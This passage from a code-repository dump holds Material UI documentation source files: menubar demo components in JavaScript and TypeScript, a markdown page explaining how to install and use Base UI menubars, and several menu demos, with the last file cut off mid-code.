    "content": "import * as React from 'react';\nimport {\n  Menubar,\n  MenuRoot,\n  MenuTrigger,\n  MenuPortal,\n  MenuPositioner,\n  MenuPopup,\n  MenuItem,\n  MenuSeparator,\n} from './components/Menubar';\n\nexport default function ShortcutHintsMenubar() {\n  return (\n    <Menubar>\n      <MenuRoot>\n        <MenuTrigger>File</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘N\">New</MenuItem>\n              <MenuItem hint=\"⌘O\">Open...</MenuItem>\n              <MenuItem hint=\"⌘S\">Save</MenuItem>\n              <MenuItem hint=\"⇧⌘S\">Save As...</MenuItem>\n              <MenuSeparator />\n              <MenuItem hint=\"⌘P\">Print...</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n\n      <MenuRoot>\n        <MenuTrigger>Edit</MenuTrigger>\n        <MenuPortal>\n          <MenuPositioner sideOffset={4} alignOffset={-2}>\n            <MenuPopup>\n              <MenuItem hint=\"⌘Z\">Undo</MenuItem>\n              <MenuItem hint=\"⇧⌘Z\">Redo</MenuItem>\n              <MenuSeparator />\n              <MenuItem hint=\"⌘X\">Cut</MenuItem>\n              <MenuItem hint=\"⌘C\">Copy</MenuItem>\n              <MenuItem hint=\"⌘V\">Paste</MenuItem>\n            </MenuPopup>\n          </MenuPositioner>\n        </MenuPortal>\n      </MenuRoot>\n    </Menubar>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/components/Menubar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { Menu } from '@base-ui/react/menu';\nimport { Menubar as BaseMenubar } from '@base-ui/react/menubar';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport CheckIcon from '@mui/icons-material/Check';\nimport RadioButtonCheckedIcon from '@mui/icons-material/RadioButtonChecked';\nimport RadioButtonUncheckedIcon from '@mui/icons-material/RadioButtonUnchecked';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\n\nconst StyledMenubar = styled('div')(({ theme }) => ({\n  display: 'flex',\n  gap: '1px',\n  p: 0.25,\n  background: (theme.vars || theme).palette.grey[100],\n  ...theme.applyStyles('dark', {\n    background: (theme.vars || theme).palette.grey[800],\n  }),\n  '&[aria-orientation=\"vertical\"]': {\n    flexDirection: 'column',\n  },\n}));\nexport function Menubar(props) {\n  return <BaseMenubar render={<StyledMenubar />} {...props} />;\n}\n\nexport function MenuRoot(props) {\n  return <Menu.Root {...props} />;\n}\n\nconst StyledTrigger = styled(Button)(({ theme }) => ({\n  paddingInline: theme.spacing(2),\n  color: (theme.vars || theme).palette.text.secondary,\n  fontWeight: 500,\n  transition: 'none',\n  textTransform: 'capitalize',\n  letterSpacing: 0,\n  fontSize: '0.875rem',\n  '&[data-popup-open]': {\n    backgroundColor: (theme.vars || theme).palette.action.focus,\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: (theme.vars || theme).palette.action.focus,\n  },\n  '[aria-orientation=\"vertical\"] &': {\n    justifyContent: 'initial',\n  },\n}));\nexport function MenuTrigger(props) {\n  return (\n    <Menu.Trigger\n      render={<StyledTrigger size=\"small\" color=\"inherit\" disableRipple />}\n      {...props}\n    />\n  );\n}\n\nexport function MenuPortal(props) {\n  return <Menu.Portal {...props} />;\n}\n\nexport function MenuPositioner(props) {\n  return <Menu.Positioner {...props} />;\n}\n\nconst StyledPaper = styled(Paper)(({ theme }) => ({\n  minWidth: 160,\n  paddingBlock: theme.spacing(0.5),\n  transformOrigin: 'var(--transform-origin)',\n  '&[data-starting-style], &[data-ending-style]': {\n    opacity: 0,\n    transform: 'scale(0.95)',\n  },\n}));\nfunction MenuPopup(props) {\n  return (\n    <Menu.Popup\n      render={(renderProps) => (\n        <StyledPaper elevation={8}>\n          <List\n            component=\"div\"\n            disablePadding\n            sx={{ outline: 'none' }}\n            {...renderProps}\n          >\n            {props.children}\n          </List>\n        </StyledPaper>\n      )}\n      {...props}\n    />\n  );\n}\n\nMenuPopup.propTypes = {\n  children: PropTypes.node,\n};\n\nexport { MenuPopup };\n\nfunction MenuItem(props) {\n  const { sx, icon, hint, children, secondary, ...other } = props;\n  return (\n    <Menu.Item\n      render={\n        <ListItemButton\n          dense\n          sx={[{ gap: 1.5 }, ...(Array.isArray(sx) ? sx : [sx])]}\n        />\n      }\n      {...other}\n    >\n      {icon && <ListItemIcon sx={{ minWidth: 'unset' }}>{icon}</ListItemIcon>}\n      <ListItemText secondary={secondary}>{children}</ListItemText>\n      {hint && (\n        <Typography\n          sx={{ flexShrink: 0, color: 'text.secondary', typography: 'body2' }}\n        >\n          {hint}\n        </Typography>\n      )}\n    </Menu.Item>\n  );\n}\n\nMenuItem.propTypes = {\n  children: PropTypes.node,\n  hint: PropTypes.node,\n  icon: PropTypes.node,\n  secondary: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport { MenuItem };\n\nexport function MenuSubmenuRoot(props) {\n  return <Menu.SubmenuRoot {...props} />;\n}\n\nconst StyledHint = styled(Typography)(({ theme }) => ({\n  flexShrink: 0,\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.typography.body2,\n}));\nfunction MenuSubmenuTrigger(props) {\n  const { sx, icon, hint, children, ...other } = props;\n  return (\n    <Menu.SubmenuTrigger render={<ListItemButton dense sx={sx} />} {...other}>\n      {icon && <ListItemIcon sx={{ minWidth: 32 }}>{icon}</ListItemIcon>}\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n      <ChevronRightIcon fontSize=\"small\" sx={{ mr: -1 }} />\n    </Menu.SubmenuTrigger>\n  );\n}\n\nMenuSubmenuTrigger.propTypes = {\n  children: PropTypes.node,\n  hint: PropTypes.node,\n  icon: PropTypes.node,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport { MenuSubmenuTrigger };\n\nfunction MenuSeparator(props) {\n  const { sx, ...other } = props;\n  return (\n    <Menu.Separator\n      render={<Divider sx={[{ my: 0.5 }, ...(Array.isArray(sx) ? sx : [sx])]} />}\n      {...other}\n    />\n  );\n}\n\nMenuSeparator.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport { MenuSeparator };\n\nfunction MenuCheckboxItem(props) {\n  const { hint, children, ...other } = props;\n  return (\n    <Menu.CheckboxItem render={<ListItemButton dense />} {...other}>\n      <ListItemIcon sx={{ minWidth: 32 }}>\n        <Menu.CheckboxItemIndicator render={<CheckIcon fontSize=\"small\" />} />\n      </ListItemIcon>\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n    </Menu.CheckboxItem>\n  );\n}\n\nMenuCheckboxItem.propTypes = {\n  children: PropTypes.node,\n  hint: PropTypes.node,\n};\n\nexport { MenuCheckboxItem };\n\nexport function MenuRadioGroup(props) {\n  return <Menu.RadioGroup {...props} />;\n}\n\nfunction MenuRadioItem(props) {\n  const { hint, children, ...other } = props;\n  return (\n    <Menu.RadioItem render={<ListItemButton dense />} {...other}>\n      <ListItemIcon sx={{ minWidth: 32, position: 'relative' }}>\n        <RadioButtonUncheckedIcon fontSize=\"small\" />\n        <Menu.RadioItemIndicator\n          render={\n            <RadioButtonCheckedIcon\n              fontSize=\"small\"\n              sx={{ position: 'absolute', left: 0 }}\n            />\n          }\n        />\n      </ListItemIcon>\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n    </Menu.RadioItem>\n  );\n}\n\nMenuRadioItem.propTypes = {\n  children: PropTypes.node,\n  hint: PropTypes.node,\n};\n\nexport { MenuRadioItem };\n\nexport function MenuGroup(props) {\n  return <Menu.Group render={<Box sx={{ position: 'relative' }} />} {...props} />;\n}\n\nconst StyledSubheader = styled(ListSubheader)(({ theme }) => ({\n  position: 'initial',\n  paddingBlock: theme.spacing(1),\n  backgroundColor: 'transparent',\n  ...theme.typography.overline,\n  lineHeight: '1.5',\n}));\n\nfunction MenuGroupLabel(props) {\n  const { sx, ...other } = props;\n  const subheaderProps = { sx, component: 'div' };\n  return (\n    <Menu.GroupLabel render={<StyledSubheader {...subheaderProps} />} {...other} />\n  );\n}\n\nMenuGroupLabel.propTypes = {\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(\n      PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool]),\n    ),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport { MenuGroupLabel };\n"
  },
  {
    "path": "docs/data/material/components/menubar/components/Menubar.tsx",
    "content": "import * as React from 'react';\nimport { Menu } from '@base-ui/react/menu';\nimport { Menubar as BaseMenubar } from '@base-ui/react/menubar';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport List from '@mui/material/List';\nimport ListItemButton, { ListItemButtonProps } from '@mui/material/ListItemButton';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader, { ListSubheaderProps } from '@mui/material/ListSubheader';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport CheckIcon from '@mui/icons-material/Check';\nimport RadioButtonCheckedIcon from '@mui/icons-material/RadioButtonChecked';\nimport RadioButtonUncheckedIcon from '@mui/icons-material/RadioButtonUnchecked';\nimport Divider, { DividerProps } from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\n\nconst StyledMenubar = styled('div')(({ theme }) => ({\n  display: 'flex',\n  gap: '1px',\n  p: 0.25,\n  background: (theme.vars || theme).palette.grey[100],\n  ...theme.applyStyles('dark', {\n    background: (theme.vars || theme).palette.grey[800],\n  }),\n  '&[aria-orientation=\"vertical\"]': {\n    flexDirection: 'column',\n  },\n}));\nexport function Menubar(props: React.ComponentProps<typeof BaseMenubar>) {\n  return <BaseMenubar render={<StyledMenubar />} {...props} />;\n}\n\nexport function MenuRoot(props: React.ComponentProps<typeof Menu.Root>) {\n  return <Menu.Root {...props} />;\n}\n\nconst StyledTrigger = styled(Button)(({ theme }) => ({\n  paddingInline: theme.spacing(2),\n  color: (theme.vars || theme).palette.text.secondary,\n  fontWeight: 500,\n  transition: 'none',\n  textTransform: 'capitalize',\n  letterSpacing: 0,\n  fontSize: '0.875rem',\n  '&[data-popup-open]': {\n    backgroundColor: (theme.vars || theme).palette.action.focus,\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: (theme.vars || theme).palette.action.focus,\n  },\n  '[aria-orientation=\"vertical\"] &': {\n    justifyContent: 'initial',\n  },\n}));\nexport function MenuTrigger(props: React.ComponentProps<typeof Menu.Trigger>) {\n  return (\n    <Menu.Trigger\n      render={<StyledTrigger size=\"small\" color=\"inherit\" disableRipple />}\n      {...props}\n    />\n  );\n}\n\nexport function MenuPortal(props: React.ComponentProps<typeof Menu.Portal>) {\n  return <Menu.Portal {...props} />;\n}\n\nexport function MenuPositioner(props: React.ComponentProps<typeof Menu.Positioner>) {\n  return <Menu.Positioner {...props} />;\n}\n\nconst StyledPaper = styled(Paper)(({ theme }) => ({\n  minWidth: 160,\n  paddingBlock: theme.spacing(0.5),\n  transformOrigin: 'var(--transform-origin)',\n  '&[data-starting-style], &[data-ending-style]': {\n    opacity: 0,\n    transform: 'scale(0.95)',\n  },\n}));\nexport function MenuPopup(props: React.ComponentProps<typeof Menu.Popup>) {\n  return (\n    <Menu.Popup\n      render={(renderProps) => (\n        <StyledPaper elevation={8}>\n          <List\n            component=\"div\"\n            disablePadding\n            sx={{ outline: 'none' }}\n            {...renderProps}\n          >\n            {props.children}\n          </List>\n        </StyledPaper>\n      )}\n      {...props}\n    />\n  );\n}\n\ninterface MenuItemExtendedProps {\n  icon?: React.ReactNode;\n  secondary?: React.ReactNode;\n  hint?: React.ReactNode;\n}\n\nexport function MenuItem(\n  props: React.ComponentProps<typeof Menu.Item> &\n    Pick<ListItemButtonProps, 'sx'> &\n    MenuItemExtendedProps,\n) {\n  const { sx, icon, hint, children, secondary, ...other } = props;\n  return (\n    <Menu.Item\n      render={\n        <ListItemButton\n          dense\n          sx={[{ gap: 1.5 }, ...(Array.isArray(sx) ? sx : [sx])]}\n        />\n      }\n      {...other}\n    >\n      {icon && <ListItemIcon sx={{ minWidth: 'unset' }}>{icon}</ListItemIcon>}\n      <ListItemText secondary={secondary}>{children}</ListItemText>\n      {hint && (\n        <Typography\n          sx={{ flexShrink: 0, color: 'text.secondary', typography: 'body2' }}\n        >\n          {hint}\n        </Typography>\n      )}\n    </Menu.Item>\n  );\n}\n\nexport function MenuSubmenuRoot(\n  props: React.ComponentProps<typeof Menu.SubmenuRoot>,\n) {\n  return <Menu.SubmenuRoot {...props} />;\n}\n\nconst StyledHint = styled(Typography)(({ theme }) => ({\n  flexShrink: 0,\n  color: (theme.vars || theme).palette.text.secondary,\n  ...theme.typography.body2,\n}));\nexport function MenuSubmenuTrigger(\n  props: React.ComponentProps<typeof Menu.SubmenuTrigger> &\n    Pick<ListItemButtonProps, 'sx'> &\n    Pick<MenuItemExtendedProps, 'icon' | 'hint'>,\n) {\n  const { sx, icon, hint, children, ...other } = props;\n  return (\n    <Menu.SubmenuTrigger render={<ListItemButton dense sx={sx} />} {...other}>\n      {icon && <ListItemIcon sx={{ minWidth: 32 }}>{icon}</ListItemIcon>}\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n      <ChevronRightIcon fontSize=\"small\" sx={{ mr: -1 }} />\n    </Menu.SubmenuTrigger>\n  );\n}\n\nexport function MenuSeparator(\n  props: React.ComponentProps<typeof Menu.Separator> & Pick<DividerProps, 'sx'>,\n) {\n  const { sx, ...other } = props;\n  return (\n    <Menu.Separator\n      render={<Divider sx={[{ my: 0.5 }, ...(Array.isArray(sx) ? sx : [sx])]} />}\n      {...other}\n    />\n  );\n}\n\nexport function MenuCheckboxItem(\n  props: React.ComponentProps<typeof Menu.CheckboxItem> &\n    Pick<MenuItemExtendedProps, 'hint'>,\n) {\n  const { hint, children, ...other } = props;\n  return (\n    <Menu.CheckboxItem render={<ListItemButton dense />} {...other}>\n      <ListItemIcon sx={{ minWidth: 32 }}>\n        <Menu.CheckboxItemIndicator render={<CheckIcon fontSize=\"small\" />} />\n      </ListItemIcon>\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n    </Menu.CheckboxItem>\n  );\n}\n\nexport function MenuRadioGroup(props: React.ComponentProps<typeof Menu.RadioGroup>) {\n  return <Menu.RadioGroup {...props} />;\n}\n\nexport function MenuRadioItem(\n  props: React.ComponentProps<typeof Menu.RadioItem> &\n    Pick<MenuItemExtendedProps, 'hint'>,\n) {\n  const { hint, children, ...other } = props;\n  return (\n    <Menu.RadioItem render={<ListItemButton dense />} {...other}>\n      <ListItemIcon sx={{ minWidth: 32, position: 'relative' }}>\n        <RadioButtonUncheckedIcon fontSize=\"small\" />\n        <Menu.RadioItemIndicator\n          render={\n            <RadioButtonCheckedIcon\n              fontSize=\"small\"\n              sx={{ position: 'absolute', left: 0 }}\n            />\n          }\n        />\n      </ListItemIcon>\n      <ListItemText>{children}</ListItemText>\n      {hint && <StyledHint>{hint}</StyledHint>}\n    </Menu.RadioItem>\n  );\n}\n\nexport function MenuGroup(props: React.ComponentProps<typeof Menu.Group>) {\n  return <Menu.Group render={<Box sx={{ position: 'relative' }} />} {...props} />;\n}\n\nconst StyledSubheader = styled(ListSubheader)(({ theme }) => ({\n  position: 'initial',\n  paddingBlock: theme.spacing(1),\n  backgroundColor: 'transparent',\n  ...theme.typography.overline,\n  lineHeight: '1.5',\n}));\n\nexport function MenuGroupLabel(\n  props: React.ComponentProps<typeof Menu.GroupLabel> &\n    Pick<ListSubheaderProps, 'sx'>,\n) {\n  const { sx, ...other } = props;\n  const subheaderProps: ListSubheaderProps = { sx, component: 'div' };\n  return (\n    <Menu.GroupLabel render={<StyledSubheader {...subheaderProps} />} {...other} />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menubar/menubar.md",
    "content": "---\nproductId: material-ui\ntitle: Menubar React component\ncomponents: Box, Button, Divider, List, ListItemButton, ListItemIcon, ListItemText, ListSubheader, Paper, Typography\n---\n\n# Menubar\n\n<p class=\"description\">A React component for building accessible application menus.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\nThe menu bar is a visually persistent menu similar to those found in desktop applications that provides a consistent set of frequently used commands.\n\nMaterial UI does not include a menu bar component out of the box, but this page provides components composed with the [Base UI `Menubar`](https://base-ui.com/react/components/menubar) and styled to align with Material Design (MD2) specifications, so they can be used with Material UI.\n\nAs such, you must install Base UI before proceeding.\nThe examples that follow can then be copied and pasted directly into your app.\nNote that Base UI is tree-shakeable, so the final bundle will only include the components used in your project.\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @base-ui/react\n```\n\n```bash pnpm\npnpm add @base-ui/react\n```\n\n```bash yarn\nyarn add @base-ui/react\n```\n\n</codeblock>\n\n## Usage\n\n1. Select one of the demos below that fits your visual design needs.\n2. Click **Expand code** in the toolbar.\n3. Select the file that starts with `./Menubar`.\n4. Copy the code and paste it into your project.\n\n## Basic menubar\n\nThe basic menubar component displays a row of menu triggers with dropdowns containing menu items.\n\n{{\"demo\": \"BasicMenubar.js\"}}\n\n## Shortcut hints\n\nDisplay keyboard shortcuts alongside menu items using the `hint` prop.\n\n{{\"demo\": \"ShortcutHintsMenubar.js\"}}\n\n## Checkbox items\n\nFor toggle options that can be independently enabled or disabled.\n\n{{\"demo\": \"CheckboxItemsMenubar.js\"}}\n\n## Radio group items\n\nFor mutually exclusive options where only one can be selected at a time.\n\n{{\"demo\": \"RadioGroupItemsMenubar.js\"}}\n\n## Icon menu items\n\nAdd icons to menu items using the `icon` prop for faster visual recognition.\n\n{{\"demo\": \"IconItemsMenubar.js\"}}\n\n## Group labels\n\nOrganize menu items into logical sections with labeled groups.\n\n{{\"demo\": \"GroupLabelMenubar.js\"}}\n\n## Base UI API\n\nSee the documentation below for a complete reference to all of the props.\n\n- [`Menubar`](https://base-ui.com/react/components/menubar#api-reference)\n- [`Menu`](https://base-ui.com/react/components/menu#api-reference)\n"
  },
  {
    "path": "docs/data/material/components/menus/AccountMenu.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Avatar from '@mui/material/Avatar';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport PersonAdd from '@mui/icons-material/PersonAdd';\nimport Settings from '@mui/icons-material/Settings';\nimport Logout from '@mui/icons-material/Logout';\n\nexport default function AccountMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'center', textAlign: 'center' }}>\n        <Typography sx={{ minWidth: 100 }}>Contact</Typography>\n        <Typography sx={{ minWidth: 100 }}>Profile</Typography>\n        <Tooltip title=\"Account settings\">\n          <IconButton\n            onClick={handleClick}\n            size=\"small\"\n            sx={{ ml: 2 }}\n            aria-controls={open ? 'account-menu' : undefined}\n            aria-haspopup=\"true\"\n            aria-expanded={open ? 'true' : undefined}\n          >\n            <Avatar sx={{ width: 32, height: 32 }}>M</Avatar>\n          </IconButton>\n        </Tooltip>\n      </Box>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"account-menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        slotProps={{\n          paper: {\n            elevation: 0,\n            sx: {\n              overflow: 'visible',\n              filter: 'drop-shadow(0px 2px 8px rgba(0,0,0,0.32))',\n              mt: 1.5,\n              '& .MuiAvatar-root': {\n                width: 32,\n                height: 32,\n                ml: -0.5,\n                mr: 1,\n              },\n              '&::before': {\n                content: '\"\"',\n                display: 'block',\n                position: 'absolute',\n                top: 0,\n                right: 14,\n                width: 10,\n                height: 10,\n                bgcolor: 'background.paper',\n                transform: 'translateY(-50%) rotate(45deg)',\n                zIndex: 0,\n              },\n            },\n          },\n        }}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n      >\n        <MenuItem onClick={handleClose}>\n          <Avatar /> Profile\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <Avatar /> My account\n        </MenuItem>\n        <Divider />\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <PersonAdd fontSize=\"small\" />\n          </ListItemIcon>\n          Add another account\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <Settings fontSize=\"small\" />\n          </ListItemIcon>\n          Settings\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <Logout fontSize=\"small\" />\n          </ListItemIcon>\n          Logout\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/AccountMenu.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Avatar from '@mui/material/Avatar';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport PersonAdd from '@mui/icons-material/PersonAdd';\nimport Settings from '@mui/icons-material/Settings';\nimport Logout from '@mui/icons-material/Logout';\n\nexport default function AccountMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'center', textAlign: 'center' }}>\n        <Typography sx={{ minWidth: 100 }}>Contact</Typography>\n        <Typography sx={{ minWidth: 100 }}>Profile</Typography>\n        <Tooltip title=\"Account settings\">\n          <IconButton\n            onClick={handleClick}\n            size=\"small\"\n            sx={{ ml: 2 }}\n            aria-controls={open ? 'account-menu' : undefined}\n            aria-haspopup=\"true\"\n            aria-expanded={open ? 'true' : undefined}\n          >\n            <Avatar sx={{ width: 32, height: 32 }}>M</Avatar>\n          </IconButton>\n        </Tooltip>\n      </Box>\n      <Menu\n        anchorEl={anchorEl}\n        id=\"account-menu\"\n        open={open}\n        onClose={handleClose}\n        onClick={handleClose}\n        slotProps={{\n          paper: {\n            elevation: 0,\n            sx: {\n              overflow: 'visible',\n              filter: 'drop-shadow(0px 2px 8px rgba(0,0,0,0.32))',\n              mt: 1.5,\n              '& .MuiAvatar-root': {\n                width: 32,\n                height: 32,\n                ml: -0.5,\n                mr: 1,\n              },\n              '&::before': {\n                content: '\"\"',\n                display: 'block',\n                position: 'absolute',\n                top: 0,\n                right: 14,\n                width: 10,\n                height: 10,\n                bgcolor: 'background.paper',\n                transform: 'translateY(-50%) rotate(45deg)',\n                zIndex: 0,\n              },\n            },\n          },\n        }}\n        transformOrigin={{ horizontal: 'right', vertical: 'top' }}\n        anchorOrigin={{ horizontal: 'right', vertical: 'bottom' }}\n      >\n        <MenuItem onClick={handleClose}>\n          <Avatar /> Profile\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <Avatar /> My account\n        </MenuItem>\n        <Divider />\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <PersonAdd fontSize=\"small\" />\n          </ListItemIcon>\n          Add another account\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <Settings fontSize=\"small\" />\n          </ListItemIcon>\n          Settings\n        </MenuItem>\n        <MenuItem onClick={handleClose}>\n          <ListItemIcon>\n            <Logout fontSize=\"small\" />\n          </ListItemIcon>\n          Logout\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/BasicMenu.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function BasicMenu() {\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"basic-button\"\n        aria-controls={open ? 'basic-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"basic-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'basic-button',\n          },\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/BasicMenu.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\n\nexport default function BasicMenu() {\n  const [anchorEl, setAnchorEl] = React.useState<null | HTMLElement>(null);\n  const open = Boolean(anchorEl);\n  const handleClick = (event: React.MouseEvent<HTMLButtonElement>) => {\n    setAnchorEl(event.currentTarget);\n  };\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  return (\n    <div>\n      <Button\n        id=\"basic-button\"\n        aria-controls={open ? 'basic-menu' : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleClick}\n      >\n        Dashboard\n      </Button>\n      <Menu\n        id=\"basic-menu\"\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        slotProps={{\n          list: {\n            'aria-labelledby': 'basic-button',\n          },\n        }}\n      >\n        <MenuItem onClick={handleClose}>Profile</MenuItem>\n        <MenuItem onClick={handleClose}>My account</MenuItem>\n        <MenuItem onClick={handleClose}>Logout</MenuItem>\n      </Menu>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/menus/ContextMenu.js",
    "content": "import * as React from 'react';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport Typography from '@mui/material/Typography';\n\nexport default function ContextMenu() {\n  const [contextMenu, setContextMenu] = React.useState(null);\n\n  const handleContextMenu = (event) => {\n    event.preventDefault();\n\n    setContextMenu(\n      contextMenu === null\n        ? {\n            mouseX: event.clientX + 2,\n            mouseY: event.clientY - 6,\n          }\n        : // repeated contextmenu when it is already open closes it with Chrome 84 on Ubuntu\n          // Other native context menus might behave different.\n          // With this behavior we prevent contextmenu from the backdrop to re-locale existing context menus.\n          null,\n    );\n\n    // Prevent text selection lost after opening the context menu on Safari and Firefox\n    const selection = document.getSelection();\n    if (selection && selection.rangeCount > 0) {\n      const range = selection.getRangeAt(0);\n\n      setTimeout(() => {\n        selection.addRange(range);\n      });\n    }\n  };\n\n  const handleClose = () => {\n    setContextMenu(null);\n  };\n\n  return (\n    <div onContextMenu={handleContextMenu} style={{ cursor: 'context-menu' }}>\n      <Typography>\n        Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ipsum purus,\n        bibendum sit amet vulputate eget, porta semper ligula. Donec bibendum\n        vulputate erat, ac fringilla mi finibus nec. Donec ac dolor sed dolor\n        porttitor blandit vel vel purus. Fusce vel malesuada ligula. Nam quis\n        vehicula ante, eu finibus est. Proin ullamcorper fermentum orci, quis finibus\n        massa. Nunc lobortis, massa ut rutrum ultrices, metus metus finibus ex, sit\n        amet facilisis neque enim sed neque. Quisque accumsan metus vel maximus\n        consequat. Suspendisse lacinia tellus a libero volutpat maximus.\n      </Typography>\n      <Menu\n        open={contextMenu !== null}\n        onClose={handleClose}\n        anchorReference=\"anchorPosition\"\n        anchorPosition={\n          contextMenu 